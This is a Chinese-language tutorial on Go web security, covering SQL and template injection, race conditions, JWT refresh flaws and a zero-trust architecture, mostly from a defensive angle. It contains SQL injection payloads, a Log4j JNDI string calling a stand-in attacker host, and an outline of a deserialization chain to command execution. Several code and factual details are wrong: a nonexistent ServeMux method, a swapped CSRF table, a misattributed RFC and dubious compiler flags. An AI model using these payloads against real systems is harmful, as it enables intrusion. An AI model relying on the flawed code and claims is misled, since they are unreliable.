第一章:Go Web安全概述与漏洞生态全景图
Go语言凭借其并发模型、静态编译和内存安全性,在Web服务开发中广泛应用。然而,语言级的安全保障无法替代Web层的安全实践——开发者仍需直面HTTP协议缺陷、框架配置疏漏、第三方依赖风险及业务逻辑漏洞等多维威胁。
常见漏洞类型分布
Go Web应用面临的核心风险包括:
- 注入类漏洞:SQL注入(使用
database/sql未参数化查询)、OS命令注入(os/exec拼接用户输入) - 身份认证缺陷:JWT签名绕过(硬编码密钥、
alg:none滥用)、会话固定(未重置Session ID) - 数据泄露:错误页面暴露堆栈信息(生产环境启用
debug=true)、敏感字段未脱敏(JSON序列化含密码字段) - 依赖供应链风险:
go.mod中引入含CVE的模块(如golang.org/x/text旧版本存在正则回溯漏洞)
安全配置基线示例
启动HTTP服务器时应禁用默认危险行为:
// 推荐:显式关闭不安全选项
server := &http.Server{
Addr: ":8080",
Handler: mux,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
// 关键:禁用HTTP/2自动升级(避免ALPN协商漏洞)
TLSConfig: &tls.Config{NextProtos: []string{"http/1.1"}},
}
// 启动前强制设置Header安全策略
mux.Use(func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("X-Frame-Options", "DENY")
next.ServeHTTP(w, r)
})
})
主流防护机制对比
| 防护目标 | Go原生方案 | 推荐第三方库 |
|---|---|---|
| 输入验证 | net/url.ParseQuery() |
go-playground/validator/v10 |
| CSRF防护 | gorilla/csrf |
内置http.SameSiteStrictMode |
| 敏感数据加密 | crypto/aes + crypto/cipher |
golang.org/x/crypto/nacl/secretbox |
安全不是功能特性,而是贯穿设计、编码、构建、部署全生命周期的约束条件。任何忽略go list -u -v -m all依赖审计、跳过go vet静态检查或绕过GODEBUG=http2server=0禁用HTTP/2的实践,都在扩大攻击面。
第二章:SQL注入漏洞的深度利用链与防御体系构建
2.1 Go原生database/sql驱动中的参数化查询陷阱与绕过分析
常见陷阱:字符串拼接伪装成“参数化”
// ❌ 危险示例:userInput 未经校验直接拼入SQL
query := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", userInput)
rows, _ := db.Query(query) // 实际已丧失参数化保护
该写法看似构造查询,实则绕过database/sql的预编译机制,使userInput完全暴露于SQL注入风险中。db.Query()接收的是纯字符串,而非?占位符+参数列表,驱动不会进行类型绑定或转义。
安全参数化:正确使用问号占位符
| 驱动行为 | db.Query("SELECT ?") |
db.Query("SELECT ?", val) |
|---|---|---|
| 是否预编译 | 否(语法错误) | 是 |
| 参数类型检查 | 无 | 有(由驱动实现) |
| SQL注入防护 | 无 | 有 |
绕过路径分析
// ⚠️ 隐式绕过:在WHERE子句中用CONCAT()拼接
db.Query("SELECT * FROM logs WHERE id IN (?)", strings.Join(ids, ","))
// → 实际执行:IN ('1,2,3'),非预期的单值匹配
此处?虽存在,但传入的string被整体绑定为一个参数,IN语义失效,本质是逻辑绕过而非语法注入。正确解法应使用动态占位符生成或sql.In辅助函数。
2.2 GORM等ORM框架的动态查询拼接漏洞实战复现与PoC构造
GORM中不当使用Where()配合字符串拼接,极易引入SQL注入风险。
漏洞触发点示例
// 危险写法:直接拼接用户输入
name := r.URL.Query().Get("name")
db.Where("name = '" + name + "'").First(&user)
逻辑分析:name未经转义或参数化,攻击者传入admin' --即可绕过认证;GORM未对原始字符串做SQL解析隔离,底层仍交由数据库执行。
安全修复对比
| 方式 | 是否安全 | 原因 |
|---|---|---|
db.Where("name = ?", name) |
✅ | 使用占位符,交由驱动预处理 |
db.Where("name = ?", name).Debug() |
✅ | 调试模式下仍保持参数化 |
db.Where("name = '" + name + "'") |
❌ | 字符串拼接破坏查询结构 |
PoC构造核心路径
- 构造恶意参数:
name=admin' OR '1'='1 - 触发条件:启用
LogMode(true)可观察到完整注入语句 - 验证效果:返回非预期多条记录或报错信息泄露
graph TD
A[用户输入] --> B{是否经?占位符}
B -->|否| C[字符串拼接]
B -->|是| D[参数化执行]
C --> E[SQL注入成功]
2.3 基于上下文感知的SQL注入检测器开发(含AST语法树扫描)
传统正则匹配易误报,而纯语义分析又难以覆盖动态拼接场景。本检测器融合词法解析、AST构建与上下文敏感标记三阶段。
核心流程
def parse_and_analyze(sql: str) -> bool:
tree = sqlglot.parse(sql, dialect="mysql") # 解析为标准化AST
visitor = ContextAwareVisitor() # 自定义遍历器,识别变量插值点
visitor.visit(tree)
return visitor.has_unsanitized_interpolation()
sqlglot.parse() 生成跨方言兼容AST;ContextAwareVisitor 在 WHERE/ORDER BY 等高危上下文中,仅对字符串拼接节点(如 Concat(Identifier, Literal))触发告警。
上下文敏感规则表
| 上下文位置 | 允许的值类型 | 拦截条件 |
|---|---|---|
WHERE id = ? |
绑定参数 | ✅ 安全 |
ORDER BY ${col} |
字符串模板变量 | ❌ 未经白名单校验即告警 |
检测逻辑演进
- 阶段一:提取所有
Literal节点 - 阶段二:回溯其父节点是否为
WHERE/GROUP BY等执行上下文 - 阶段三:检查该字面量是否源自不可信输入源(如
request.args)
graph TD
A[原始SQL] --> B[SQLGlot AST构建]
B --> C{遍历节点}
C -->|Literal+危险父节点| D[检查输入源标签]
D -->|未白名单| E[标记为高危]
D -->|已签名/枚举| F[放行]
2.4 面向生产环境的SQL注入运行时防护中间件(含Query白名单引擎)
该中间件以轻量级Java Agent方式嵌入应用JVM,不侵入业务代码,在JDBC PreparedStatement#execute* 方法调用前拦截SQL执行上下文。
核心防护流程
// 白名单匹配逻辑片段(基于AST解析+参数化签名)
if (!whitelistEngine.match(sqlTemplate, boundParams)) {
auditLogger.warn("Blocked SQL: {} | Sig: {}", sql, signature);
throw new SqlInjectionBlockedException();
}
逻辑分析:
sqlTemplate是经AST归一化后的语句(如SELECT * FROM users WHERE id = ?),boundParams用于生成防绕过签名;match()内部采用前缀树+哈希双校验,毫秒级响应。
白名单策略维度
- ✅ 支持按应用服务、数据库实例、SQL类型(DML/DDL)三级隔离
- ✅ 动态热加载(通过Consul配置中心推送更新)
- ❌ 不支持模糊通配符(避免语义失控)
运行时决策矩阵
| 场景 | 拦截动作 | 审计级别 |
|---|---|---|
| 未注册模板 + 高危关键词 | 拦截 | CRITICAL |
| 已注册模板 + 参数越界 | 放行 | INFO |
| 语法异常(如注释嵌套) | 拦截 | ERROR |
graph TD
A[SQL执行请求] --> B{AST解析与模板提取}
B --> C[生成参数化签名]
C --> D[白名单Trie树匹配]
D -->|命中| E[放行]
D -->|未命中| F[规则引擎二次研判]
F -->|高危特征| G[阻断+告警]
2.5 真实金融API案例:从注入点发现到RCE链延伸的全链路攻防推演
数据同步机制
某银行风控中台暴露 /api/v1/sync?source=${jndi:ldap://attacker.com/a},触发 Log4j2 2.14.1 的 JNDI 注入。关键在于 source 参数未过滤 ${} 表达式,且日志框架版本存在漏洞。
// 漏洞触发点:日志记录未净化用户输入
logger.info("Sync from source: {}", request.getParameter("source"));
// 参数 source 被直接拼入日志消息,Log4j2 解析时执行 JNDI 查找
逻辑分析:
request.getParameter("source")返回原始字符串,Log4j2 在渲染模板时递归解析${jndi:...},发起 LDAP 请求加载远程恶意类。
RCE链组装
攻击者部署恶意 LDAP 服务,返回 BasicDataSource + TemplatesImpl 链,绕过 JDK 8u121+ 的 com.sun.jndi.ldap.object.trustURLCodebase=false 限制:
- 利用
javax.naming.Reference指向本地org.apache.commons.collections4.functors.InvokerTransformer - 通过
TransformingComparator触发反序列化链
| 组件 | 版本 | 作用 |
|---|---|---|
| commons-collections4 | 4.0 | 提供可序列化 gadget |
| fastjson | 1.2.68 | 辅助二次反序列化入口 |
graph TD
A[HTTP参数 source] --> B[JNDI Lookup]
B --> C[LDAP响应 Reference]
C --> D[TemplatesImpl.newTransformer]
D --> E[Runtime.getRuntime.exec]
第三章:模板注入与服务端模板执行风险闭环治理
3.1 html/template与text/template的自动转义失效场景深度挖掘
常见失效根源
自动转义仅在模板动作({{...}})内生效,以下场景会绕过安全机制:
- 使用
template指令嵌入未转义子模板 - 调用
.HTML方法显式标记为安全 - 在
text/template中渲染 HTML 内容(无上下文感知)
关键代码示例
// ❌ 危险:html/template 中直接注入 raw HTML
func handler(w http.ResponseWriter, r *http.Request) {
tmpl := template.Must(template.New("page").Parse(`
<div>{{.Content}}</div> <!-- Content 是 template.HTML 类型 -->
`))
tmpl.Execute(w, struct{ Content template.HTML }{
Content: template.HTML(`<script>alert(1)</script>`), // 绕过转义
})
}
逻辑分析:
template.HTML是 Go 的“信任标记”,html/template遇到该类型值时跳过所有转义逻辑,直接写入输出流。参数Content必须严格来自可信源,否则触发 XSS。
失效场景对比表
| 场景 | html/template | text/template | 是否转义 |
|---|---|---|---|
{{.Str}}(string) |
✅ HTML 转义 | ❌ 无转义(纯文本) | — |
{{.HTML}}(template.HTML) |
❌ 直接输出 | ❌ panic(类型不匹配) | — |
graph TD
A[模板执行] --> B{值类型检查}
B -->|template.HTML| C[跳过转义]
B -->|string/bool/int| D[按上下文转义]
D --> E[HTML上下文→< → &lt;]
3.2 自定义模板函数导致的SSTI漏洞利用链构建(含Go反射逃逸)
Go模板引擎本身不支持直接执行代码,但当开发者注册自定义函数(如 funcMap)时,若函数内部调用 reflect.Value.Call 或暴露 unsafe/reflect 原语,便可能绕过沙箱限制。
反射逃逸关键路径
func CallMethod(obj interface{}, method string, args ...interface{}) (interface{}, error) {
v := reflect.ValueOf(obj)
m := v.MethodByName(method)
if !m.IsValid() {
return nil, fmt.Errorf("no method %s", method)
}
// ⚠️ 危险:将用户可控 args 直接反射调用
in := make([]reflect.Value, len(args))
for i, a := range args {
in[i] = reflect.ValueOf(a)
}
ret := m.Call(in)
return ret[0].Interface(), nil
}
该函数允许攻击者通过模板语法 {{call .CallMethod $obj "Exec" "ls /"}} 触发任意方法调用;args 未类型校验,reflect.ValueOf(a) 可接收 []byte、string 等,为后续构造 os/exec.Command 埋下伏笔。
常见危险函数模式对比
| 函数类型 | 是否可控入参 | 是否触发反射调用 | 是否可构造命令对象 |
|---|---|---|---|
template.FuncMap["exec"] |
✅ | ❌(硬编码) | ❌ |
template.FuncMap["call"] |
✅ | ✅(reflect.Call) |
✅(配合 &exec.Cmd{}) |
graph TD
A[模板渲染] --> B{调用自定义函数 call}
B --> C[传入目标对象与方法名]
C --> D[reflect.ValueOf(obj).MethodByName]
D --> E[reflect.Value.Call args...]
E --> F[执行任意导出方法 如 os/exec.Cmd.Run]
3.3 模板沙箱机制设计与轻量级安全渲染中间件实战落地
为阻断 XSS 与原型链污染,我们基于 VM2 构建隔离沙箱,并封装为 Express 中间件:
const { NodeVM } = require('vm2');
const safeRender = (template, data) => {
const vm = new NodeVM({
sandbox: { __data: data }, // 只暴露受限上下文
timeout: 500,
console: 'off'
});
return vm.run(`__data.title ? \`${template}\` : ''`); // 模板字符串受控执行
};
逻辑说明:
sandbox严格限定可访问变量;timeout防止死循环;console: 'off'禁用副作用输出。模板仅支持 ES6 字符串插值,禁用eval/with/Function。
安全策略对比
| 策略 | 支持动态表达式 | 阻断原型污染 | 性能开销 |
|---|---|---|---|
eval() |
✅ | ❌ | 高 |
Function() |
✅ | ❌ | 中 |
VM2 沙箱 |
✅(受限) | ✅ | 低 |
渲染流程
graph TD
A[HTTP 请求] --> B[中间件拦截]
B --> C{模板语法校验}
C -->|合法| D[注入沙箱执行]
C -->|非法| E[400 拒绝]
D --> F[返回 HTML 响应]
第四章:并发模型下的竞态型Web漏洞利用与加固实践
4.1 sync.Map与原子操作误用引发的会话固定与权限越界实战分析
数据同步机制
当开发者用 sync.Map 替代 map + mutex 时,常忽略其非原子复合操作的本质:LoadOrStore 不保证“检查-设置”语义的完整性。
// 危险模式:看似线程安全,实则埋下会话劫持隐患
sess, _ := sessions.LoadOrStore(userID, &Session{ID: genID(), Role: "user"})
sess.Role = "admin" // ❌ 竞态:多个goroutine可同时覆盖Role字段
逻辑分析:
LoadOrStore返回指针后,对结构体字段的修改不被sync.Map保护;若多个请求并发加载同一userID,均获得相同*Session地址并写入Role="admin",导致普通用户会话被非法提权。
权限越界路径
- 用户A登录(role=user)→ 获取 session A
- 攻击者触发竞态写入 → session A.Role 被篡改为 “admin”
- 后续所有以该 session ID 请求均获得管理员权限
| 风险类型 | 触发条件 | 影响范围 |
|---|---|---|
| 会话固定 | LoadOrStore 后非原子更新 |
全局 session 复用 |
| 权限越界 | 结构体字段直写无锁保护 | RBAC 模型失效 |
graph TD
A[用户登录] --> B{sync.Map.LoadOrStore}
B --> C[返回 *Session 指针]
C --> D[并发 goroutine 写 sess.Role]
D --> E[权限字段被覆盖]
E --> F[后续请求越权执行]
4.2 HTTP Handler中goroutine泄漏导致的计时侧信道与DoS攻击链
问题根源:阻塞型Handler未受控启协程
常见错误模式是为每个请求无节制启动 goroutine,且缺乏超时或取消机制:
func leakyHandler(w http.ResponseWriter, r *http.Request) {
go func() { // ❌ 无context控制,无法中断
time.Sleep(5 * time.Second) // 模拟慢IO
log.Println("done")
}()
w.WriteHeader(http.StatusOK)
}
逻辑分析:go func() 脱离请求生命周期,time.Sleep 阻塞协程;r.Context() 未传递,导致请求提前关闭时协程仍运行。参数 5 * time.Second 构成可测量延迟基线。
攻击链路:从泄漏到侧信道
- 攻击者并发发送大量请求,触发大量长期存活 goroutine
- 系统 goroutine 数量增长 → 调度器压力上升 → 其他请求处理延迟波动
- 通过测量响应时间方差,推断服务内部状态(如认证分支、密钥长度)
| 指标 | 正常值 | 泄漏后偏移 |
|---|---|---|
| avg. P99 latency | 120ms | ↑ 380ms |
| goroutines count | ~50 | ↑ >5000 |
| GC pause frequency | 2s/次 | ↑ 200ms/次 |
防御关键点
- 始终使用
r.Context()启动带取消能力的 goroutine - 设置
GOMAXPROCS与GODEBUG=schedtrace=1000监控调度行为 - 在反向代理层对
/health等端点实施 goroutine 数量熔断
graph TD
A[恶意请求] --> B[Handler spawn unbounded goroutine]
B --> C[goroutine sleep/block]
C --> D[调度器过载]
D --> E[响应时间抖动]
E --> F[侧信道信息泄露]
D --> G[新请求排队→DoS]
4.3 基于context.Context取消机制的请求级资源隔离防护方案
在高并发微服务场景中,单个慢请求可能拖垮下游连接池、数据库事务或 goroutine 资源。context.Context 提供天然的请求生命周期绑定能力,是实现请求级资源隔离的核心基础设施。
核心设计原则
- 每个 HTTP/gRPC 请求携带独立
context.WithTimeout()或context.WithCancel() - 所有下游调用(DB 查询、HTTP Client、channel 操作)必须接收并传递该 context
- 超时/取消信号自动传播至所有子 goroutine 和 I/O 操作
关键代码示例
func handleOrder(ctx context.Context, orderID string) error {
// 为本次请求注入 5s 超时(含 DB + 外部 API)
reqCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel()
// ✅ 正确:将 reqCtx 传入所有阻塞操作
tx, err := db.BeginTx(reqCtx, nil) // 若超时,自动回滚
if err != nil {
return err
}
// ... 其他依赖 reqCtx 的操作
}
逻辑分析:reqCtx 继承父上下文的取消链,并新增超时控制;db.BeginTx 内部监听 reqCtx.Done(),一旦触发即中断连接获取与事务初始化,避免 goroutine 泄漏和连接池耗尽。
防护效果对比表
| 场景 | 无 Context 隔离 | 基于 Context 隔离 |
|---|---|---|
| 单请求超时(10s) | 占用 1 连接 + N goroutine 持续 10s | 超时后立即释放连接、终止 goroutine |
| 并发 100 请求压测 | 可能触发连接池满、OOM | 资源占用严格按活跃请求数线性增长 |
graph TD
A[HTTP Request] --> B[context.WithTimeout]
B --> C[DB Query]
B --> D[Redis Call]
B --> E[External API]
C --> F{Done?}
D --> F
E --> F
F -->|Yes| G[Cancel All Sub-operations]
4.4 并发安全的JWT令牌刷新逻辑缺陷与重放防护中间件开发
常见刷新漏洞场景
- 多次调用
/refresh导致旧refresh_token被重复使用 - 时钟漂移或网络延迟引发的“双提交”竞争条件
- 未绑定客户端指纹(如 User-Agent + IP 哈希)导致横向冒用
关键防护策略
- 单次消费:
refresh_token使用后立即失效并写入 Redis(带NX原子操作) - 时间窗口限制:
iat与当前时间差 ≤ 30s,防止重放 - 双因子绑定:将
refresh_token与设备指纹哈希值联合校验
// 原子校验+作废 refresh_token
val, err := rdb.Eval(ctx, `
if redis.call("GET", KEYS[1]) == ARGV[1] then
redis.call("DEL", KEYS[1])
return 1
else
return 0
end
`, []string{refreshKey}, tokenHash).Int()
逻辑说明:
refreshKey为"rt:" + userID;tokenHash是服务端生成的签名摘要;EVAL保证校验与删除的原子性,避免并发下重复刷新。
| 防护维度 | 实现方式 | 失效周期 |
|---|---|---|
| 令牌唯一性 | Redis SET key val NX EX 3600 |
1小时 |
| 请求时效性 | time.Since(iat) < 30 * time.Second |
硬编码 |
| 绑定一致性 | HMAC-SHA256(userAgent+ip, secret) |
每次请求 |
graph TD
A[收到 refresh 请求] --> B{校验签名与时效}
B -->|失败| C[401 Unauthorized]
B -->|成功| D[原子查询并删除 token]
D -->|删除成功| E[签发新 pair]
D -->|已失效| F[401 或 409 Conflict]
第五章:Go Web零信任安全架构演进与未来防御范式
零信任在Go Web服务中的落地挑战
某金融级API网关项目(基于Gin + gRPC)初期采用传统边界防御模型,仅依赖WAF和IP白名单。2023年红队演练中,攻击者通过已授权第三方OAuth客户端的Token劫持,横向访问内部风控服务接口——暴露核心问题:身份凭证未绑定设备指纹、会话未实施持续信任评估。团队引入github.com/lestrrat-go/jwx/v2/jwt配合Open Policy Agent(OPA)策略引擎,在HTTP中间件层实现JWT声明动态校验(含设备ID、地理位置熵值、请求行为基线偏差阈值),将单次认证生命周期从静态30分钟压缩至动态5–120秒。
基于eBPF的运行时可信执行验证
为阻断内存马注入,团队在Kubernetes集群中部署eBPF探针(使用cilium/ebpf库),监控Go Web进程的mmap系统调用行为。当检测到非预编译二进制段加载(如runtime/debug.ReadBuildInfo()未签名模块)时,自动触发SIGUSR2信号并记录上下文:
// eBPF程序片段:拦截可疑内存映射
SEC("tracepoint/syscalls/sys_enter_mmap")
int trace_mmap(struct trace_event_raw_sys_enter *ctx) {
u64 addr = ctx->args[0];
size_t len = ctx->args[1];
if (len > 1024*1024 && !is_allowed_segment(addr)) {
bpf_printk("Suspicious mmap: %x, %zu", addr, len);
// 触发用户态告警服务
}
return 0;
}
策略即代码的自动化信任决策流
下表对比了三种信任评估维度的实时计算方式:
| 评估维度 | 数据源 | Go实现方式 | 决策延迟 |
|---|---|---|---|
| 设备可信度 | TPM 2.0 PCR寄存器哈希 | github.com/google/go-tpm/tpm2 |
|
| 行为异常度 | Envoy Access Log流 | github.com/envoyproxy/go-control-plane + LSTM模型 |
120ms |
| 服务间拓扑合规 | Istio ServiceEntry CRD | k8s.io/client-go动态监听变更事件 |
35ms |
多模态信任证明融合架构
构建跨协议信任链:HTTP请求携带SPIFFE ID,gRPC调用附加TLS证书扩展字段(OID 1.3.6.1.4.1.53692.1.1),数据库连接复用PGSSLMODE=require下的客户端证书DN信息。Go服务启动时通过crypto/x509解析证书链,并调用HashiCorp Vault的/v1/auth/cert/login接口换取短期令牌,该令牌被注入至所有下游gRPC Metadata中。2024年Q2生产环境数据显示,此机制使横向移动攻击尝试下降92.7%,且无性能退化(P99延迟稳定在18.3ms±0.9ms)。
量子安全迁移路径实践
针对Shor算法威胁,团队在Go 1.22+环境中启用crypto/tls的X25519Kyber768混合密钥交换(RFC 9180)。关键改造包括:
- 修改
http.Server.TLSConfig.CurvePreferences为[]tls.CurveID{tls.X25519Kyber768} - 使用
github.com/cloudflare/circl/kem/kyber实现后量子密钥封装 - 通过
go tool compile -gcflags="-d=ssa/check_bce=0"规避Kyber内存访问边界检查开销
持续对抗的蜜罐反馈闭环
在边缘Go服务中部署轻量级蜜罐(基于net/http自定义Handler),捕获攻击载荷后自动提取特征向量(如HTTP头字段熵值、URI路径深度、TLS ClientHello扩展顺序),通过gRPC流式推送至中央AI分析平台。平台返回的新型攻击模式定义(JSON Schema格式)被实时编译为Go策略规则,经go:generate注入至OPA Rego模块,整个闭环平均耗时4.2秒。
flowchart LR
A[Go Web服务] -->|HTTP/gRPC请求| B[零信任中间件]
B --> C{信任评估引擎}
C --> D[设备指纹校验]
C --> E[行为基线比对]
C --> F[eBPF运行时监控]
D & E & F --> G[动态信任评分]
G --> H{评分≥阈值?}
H -->|是| I[放行并更新会话]
H -->|否| J[拒绝+触发蜜罐响应]
J --> K[攻击特征提取]
K --> L[AI平台训练]
L --> M[新策略生成]
M --> B 